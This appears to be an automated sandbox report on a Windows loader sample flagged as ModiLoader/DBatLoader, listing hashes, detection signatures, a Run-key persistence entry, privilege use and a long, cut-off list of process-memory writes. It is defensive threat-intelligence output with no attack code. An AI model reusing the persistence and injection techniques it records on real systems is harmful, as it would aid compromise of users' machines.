Analysis
-
max time kernel
149s -
max time network
152s -
platform
windows10_x64 -
resource
win10 -
submitted
13/07/2020, 11:46
Static task
static1
Behavioral task
behavioral1
Sample
de211b9bc6b587b466a9fa4f73aed579.exe
Resource
win7v200430
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
de211b9bc6b587b466a9fa4f73aed579.exe
Resource
win10
windows10_x64
0 signatures
0 seconds
General
-
Target
de211b9bc6b587b466a9fa4f73aed579.exe
-
Size
1.1MB
-
MD5
de211b9bc6b587b466a9fa4f73aed579
-
SHA1
a9eedbe3813be8608656b532eee9c61ef58b4283
-
SHA256
2f0ce341108a0d177092a8e18ca880b966f96a397f23c5135cfd9c6588b0c8c1
-
SHA512
570aab11cad657fa6b5ad748b341b2bf2d2b9b1d9c6f45f956d4f66ea092252022f6b9cefad3fd790ab57f48451ac3389f0a1c1954d679f7a9cc491f2ed02d7e
Score
10/10
Malware Config
Signatures
-
ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
-
ServiceHost packer 123 IoCs
Detects ServiceHost packer used for .NET malware
resource yara_rule behavioral2/memory/3420-2-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-3-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-4-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-5-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-6-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-7-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-8-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-9-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-10-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-11-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-12-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-13-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-14-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-15-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-16-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-17-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-18-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-19-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-20-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-21-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-22-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-23-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-24-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-25-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-26-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-27-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-28-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-29-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-30-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-31-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-32-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-33-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-34-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-35-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-36-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-37-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-38-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-39-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-40-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-41-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-42-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-43-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-44-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-45-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-46-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-47-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-48-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-49-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-50-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-51-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-52-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-53-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-54-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-55-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-56-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-57-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-58-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-59-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-60-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-61-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-62-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-63-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-64-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-65-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-66-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-67-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-68-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-69-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-70-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-71-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-72-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-73-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-74-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-75-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-76-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-77-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-78-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-79-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-80-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-81-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-82-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-83-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-84-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-85-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-86-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-87-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-88-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-89-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-90-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-91-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-92-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-93-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-94-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-95-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-96-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-97-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-98-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-99-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-100-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-101-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-102-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-103-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-104-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-105-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-106-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-107-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-108-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-109-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-110-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-111-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-112-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-113-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-115-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-114-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-116-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-117-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-118-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-119-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-120-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-121-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-122-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-123-0x0000000000000000-mapping.dmp servicehost behavioral2/memory/3420-125-0x0000000000000000-mapping.dmp servicehost -
Executes dropped EXE 1 IoCs
pid Process 2952 fodhelper.exe -
Loads dropped DLL 1 IoCs
pid Process 2952 fodhelper.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\Efvw = "C:\\Users\\Admin\\AppData\\Local\\Efvw\\Efvw.hta" de211b9bc6b587b466a9fa4f73aed579.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3564 set thread context of 2020 3564 de211b9bc6b587b466a9fa4f73aed579.exe 72 -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings cmd.exe -
Modifies registry key 1 TTPs 3 IoCs
pid Process 1464 reg.exe 1208 reg.exe 4016 reg.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 4 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 6 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 416 powershell.exe 416 powershell.exe 416 powershell.exe -
Suspicious use of AdjustPrivilegeToken 22 IoCs
description pid Process Token: SeDebugPrivilege 416 powershell.exe Token: SeIncreaseQuotaPrivilege 416 powershell.exe Token: SeSecurityPrivilege 416 powershell.exe Token: SeTakeOwnershipPrivilege 416 powershell.exe Token: SeLoadDriverPrivilege 416 powershell.exe Token: SeSystemProfilePrivilege 416 powershell.exe Token: SeSystemtimePrivilege 416 powershell.exe Token: SeProfSingleProcessPrivilege 416 powershell.exe Token: SeIncBasePriorityPrivilege 416 powershell.exe Token: SeCreatePagefilePrivilege 416 powershell.exe Token: SeBackupPrivilege 416 powershell.exe Token: SeRestorePrivilege 416 powershell.exe Token: SeShutdownPrivilege 416 powershell.exe Token: SeDebugPrivilege 416 powershell.exe Token: SeSystemEnvironmentPrivilege 416 powershell.exe Token: SeRemoteShutdownPrivilege 416 powershell.exe Token: SeUndockPrivilege 416 powershell.exe Token: SeManageVolumePrivilege 416 powershell.exe Token: 33 416 powershell.exe Token: 34 416 powershell.exe Token: 35 416 powershell.exe Token: 36 416 powershell.exe -
Suspicious use of WriteProcessMemory 528 IoCs
description pid Process procid_target PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 de211b9bc6b587b466a9fa4f73aed579.exe 67 PID 3564 wrote to memory of 3420 3564 